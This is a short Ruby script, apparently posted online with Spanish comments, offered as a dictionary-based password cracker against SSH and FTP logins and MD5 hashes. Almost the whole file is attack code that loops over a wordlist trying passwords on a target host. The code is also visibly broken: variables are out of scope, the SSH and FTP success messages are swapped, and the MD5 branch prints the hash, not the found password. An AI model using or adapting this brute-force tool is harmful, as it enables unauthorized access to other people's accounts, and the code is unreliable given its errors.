#FTP, SSH, and MD5 Cracker #El diccionario no lo pongo yo xD #Codigo de prueba/estudio: no testeado #c0ded by pRotos #protos.nu@gmail.com require 'rubygems' require 'net/ftp' require 'net/ssh' require 'digest/md5' puts "***********************************" puts "*Cracker (SSH, FTP, MD5) by pRotos*" puts "* (protos.nu@gmail.com) *" puts "***********************************" def uso puts "Uso: crack.rb " puts "Ejemplo: ruby crack.rb md5 12dfwgo3ng4324ongrelgkn345 larutademisuperdiccionario.txt\n" puts "Opciones:" puts "md5: Crackeador md5 -> Uso: crack.rb md5 " puts "ssh: Crackeador ssh -> Uso: crack.rb ssh " puts "ftp: Crackeador ftp -> Uso: crack.rb ftp " end op=ARGV[0] case op when "md5" hash=ARGV[1] or uso() dic=ARGV[2] or uso() when "ssh" host=ARGV[1] or uso() user=ARGV[2] or uso() dic=ARGV[3] or uso() when "ftp" host=ARGV[1] or uso() user=ARGV[2] or uso() dic=ARGV[3] or uso() else uso() end def ssh file=File.open(dic, 'r') file.readlines.each {|line| begin session = Net::SSH.start(host,22,user,pass) rescue Errno::ECONNREFUSED => h fail=1 end if fail != 1 puts "FTP Password: ", line end} if fail == 1 puts "No se pudo crackear" end end def ftp file=File.open(dic, 'r') file.readlines.each {|line| begin ftp=Net::FTP.new(host, user, line) rescue Errno::ECONNREFUSED => h fail=1 end if fail != 1 puts "SSH Password: ", line end} if fail == 1 puts "No se pudo crackear" end end def md5 file=File.open(dic, 'r') file.readlines.each {|line| md=Digest::MD5.hexdigest(line) if md == hash puts "Hash: ", md else fail=1 end} if fail==1 puts "No se pudo crackear" end end case op when "md5" md5() when "ssh" ssh() when "ftp" ftp() else uso() end